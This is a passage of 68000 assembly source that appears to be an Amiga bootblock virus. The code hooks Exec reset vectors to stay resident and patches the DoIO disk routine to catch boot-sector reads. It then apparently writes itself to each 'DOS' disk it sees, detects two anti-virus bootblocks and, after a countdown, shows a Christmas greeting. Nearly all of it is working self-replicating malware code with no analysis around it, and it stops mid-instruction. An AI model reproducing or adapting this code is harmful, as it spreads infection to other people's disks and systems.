
ORG	$7F000
LOAD	$7F000

S:	DC.B	'DOS',$00
	DC.L	$0	;CHECKSUM
	DC.L	$00000370

START:	LEA	S(PC),A2
	LEA	S,A3
	MOVE.W	#$3FF,D0
SS:	MOVE.B	(A2)+,(A3)+
	DBF	D0,SS
	JMP	CONTY

CONTY:	JSR	SET_COL
	BSR.S	FROG
	MOVE.L	$04,A6
	MOVE.L	#DOS,A1
	JSR	-96(A6)
	MOVE.L	D0,A0
	MOVE.L	22(A0),A0
	MOVEQ	#$00,D0
	RTS

DOS:	DC.B	'dos.library',$00
VIRKILL_CON:	DC.W	$0000	;1=NORTHSTAR   2=SYSTEM Z
VIRKILL_COL:	DC.W	$0000
TRCOU:	DC.W	$001B

FROG:	MOVE.L	$04.W,A6
	MOVE.L	#FROGGY,42(A6)
	LEA	34(A6),A1
	CLR.W	D0
	MOVE.W	#$17,D1
F_1:	ADD.W	(A1)+,D0
	DBF	D1,F_1
	NOT.W	D0
	MOVE.W	D0,(A1)
	RTS

FROGGY:	;BTST	#$2,$DFF016
	;BEQ	HEJY
	;CLR.L	$6A0
	;CLR.L	$89C
	;CLR.L	$6A4
HEJY:	JSR	FROG
	JSR	RESSY
	JMP	(A5)

RESSY:	MOVE.L	$04.W,A6
	CLR.L	46(A6)
	MOVE.L	#WHAT,550(A6)
	JSR	-612(A6)
	MOVE.L	D0,554(A6)
RTS:	RTS

WHAT:	DC.L	WHAT3,$0
WHAT3:	DC.W	$4AFC
	DC.L	WHAT3
	DC.L	REST
	DC.W	$0121,$00F6
	DC.L	WHAT2
WHAT2:	DC.L	$0,RES

RES:	MOVEM.L	D0-D7/A0-A6,-(A7)
REST:				;MOVE.W	#$D7F,$DFF180
	CMP.W	#$2,VIRKILL_CON
	BNE	REZT
	JSR	P_RUT
REZT:	MOVE.L	$04.W,A6
	CMP.L	#TRACK,-454(A6)
	BEQ	HYPER
	MOVE.L	-454(A6),TROLD+2
	MOVE.L	#TRACK,-454(A6)
HYPER:	MOVEM.L	(A7)+,D0-D7/A0-A6
	RTS

TRACK:	CMPI.L	#$400,36(A1)
	BNE	TROLD
	CMPA.L	40(A1),A4
	BNE	TROLD
	CLR.L	(A4)
	JSR	TROLD
	CMPI.L	#$444F5300,(A4)
	BNE	RTS
MOVEM.L	D0-D7/A0-A6,-(A7)
	JSR	CHECK_ANTI
	JSR	SAVE_IT
		MOVE.L	$04.W,A6
		CLR.L	550(A6)
		CLR.L	$6A4.W
	AND.W	#$1F,TRCOU
	SUB.W	#$1,TRCOU
	BNE	JUL
MOVEM.L	(A7)+,D0-D7/A0-A6
	JMP	INTY
JUL:		;MOVE.W	#$4000,$DFF09A
		MOVE.L	$6C.W,OLD2+2
		MOVE.L	#NEW2,$6C.W
		;MOVE.W	#$C000,$DFF09A
		MOVE.W	#$0040,COU2
MOVEM.L	(A7)+,D0-D7/A0-A6
NUJ:	RTS
TROLD:	JMP	$000000

;§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§§

NEW2:	;MOVE.W	#$3F3,$DFF180
	SUB.W	#$1,COU2
	BNE	OLD2
	MOVEM.L	D0-D7/A0-A6,-(A7)
		JSR	RESSY
		MOVE.L	OLD2+2,$6C
				;MOVE.W	#$9F9,$DFF180
	MOVEM.L	(A7)+,D0-D7/A0-A6
OLD2:	JMP	$000000

COU2:	DC.W	$00A0

;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ

INTY:	;			MOVE.W	#$F00,$DFF180
	;MOVE.W	#$4000,$DFF09A
	MOVE.L	$6C.W,OLD+2
	MOVE.L	#NEW,$6C.W
	;MOVE.W	#$C000,$DFF09A
	MOVE.W	#$130,COUNT
	RTS

NEW:	SUB.W	#$1,COUNT
	BNE	OLD
	MOVEM.L	D0-D7/A0-A6,-(A7)
		BSR	MERRY
		MOVE.L	OLD+2,$6C.W
	MOVEM.L	(A7)+,D0-D7/A0-A6
OLD:	JMP	$000000
COUNT:	DC.W	$0120

MERRY:	MOVE.B	#$02,$BFE001
	MOVE.L	$04.W,A6
	LEA	INTU,A1
	CLR.L	D0
	JSR	-552(A6)
	MOVE.L	D0,A6
	MOVE.L	#$3C,D1
	CLR.L	D0
	LEA	TEXT,A0
	JSR	-90(A6)
	CLR.B	$BFE001
	RTS

INTU:	DC.B	'intuition.library',$00
TEXT:	DC.B	$1,$1,$10,$20,'From all of You,'
DC.B	0,$1,$1,$10,$20,'To all of Us,'
DC.B	0,$1,$26,$20,$20,'A Happy Christmas, and a Merry New Year!'
DC.B	0,0
EVEN

;FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF

P_RUT:	MOVE.W	#$2,$DFF0A4
	MOVE.L	#WAVE,$DFF0A0
	MOVE.L	#$0440002F,$DFF0A6
	MOVE.W	#$8201,$DFF096
	LEA	PLAYNOTES,A0
P_1:	MOVE.W	#$1C00,D1
P_0:	MOVE.B	$DFF006,D7
	MOVE.B	D7,$DFF180
	MOVE.B	D7,$DFF182
	DBF	D1,P_0
	MOVE.W	(A0)+,$DFF0A6
	BNE	P_1
	MOVE.W	#$1,$DFF096
	RTS

WAVE:	DC.B	$7F,$81

PLAYNOTES:	DC.W	$01B8,$04B0,$0352,$0440,$0000

;ÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐÐ

CHECK_ANTI:
	CMP.L	#$285B5A49,4(A4)
	BNE	C_0
	MOVE.W	#$00F,VIRKILL_COL
	MOVE.W	#$1,VIRKILL_CON
	JSR	SET_COL
	RTS

C_0:	CMP.L	#$50564C2E,4(A4)
	BNE	C_1
	MOVE.W	#$F90,VIRKILL_COL
	MOVE.W	#$2,VIRKILL_CON
	JMP	SET_COL

C_1:	CLR.L	VIRKILL_CON	
	RTS

SET_COL:CMP.W	#$0,VIRKILL_COL
	BE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